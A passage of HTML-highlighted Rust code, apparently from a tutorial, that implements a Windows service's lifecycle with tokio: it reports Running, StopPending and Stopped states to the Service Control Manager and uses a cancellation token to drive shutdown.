&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// restructure a bit if everything is normally done in run_app. I kept
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// it simple here).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;Running&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Accept STOP commands while running
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="no"&gt;STOP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Must be 0 when service is running
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// No wait hint when running, so just default/zero
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Create tokio runtime _here_ as our regular main entry point in the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// service case just calls the dispatcher and the dispatcher calls us
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// on a different thread.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;runtime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;runtime&lt;/span&gt;::&lt;span class="n"&gt;Runtime&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Failed to create runtime
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;Stopped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;575&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// app init failure
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// hack: note that a custom error type might be more accurate
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// here as it&amp;#39;s not a Windows API error...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;windows_service&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;::&lt;span class="n"&gt;Winapi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CancellationToken&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;block_on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;app_token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Spawn background task that waits for stop signal sent through
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// control handler, and then cancels the token to notify our app
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// tasks
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;move&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shutdown_rx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cancel&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Report StopPending so SCM knows we&amp;#39;re winding down and
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// doesn&amp;#39;t force-kill us.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ServiceStatusHandle implements Copy, so we can use it here
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;StopPending&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;from_secs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Run application until cancelled via token
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;crate&lt;/span&gt;::&lt;span class="n"&gt;run_app&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app_token&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// again: better to log to Windows Event Log or a file as
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// this error message goes to nowhere :-)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Got error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Tell SCM that we&amp;#39;re done (we&amp;#39;ve passed the blocking runtime code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// above, so we either crashed or received a shutdown)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;Stopped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
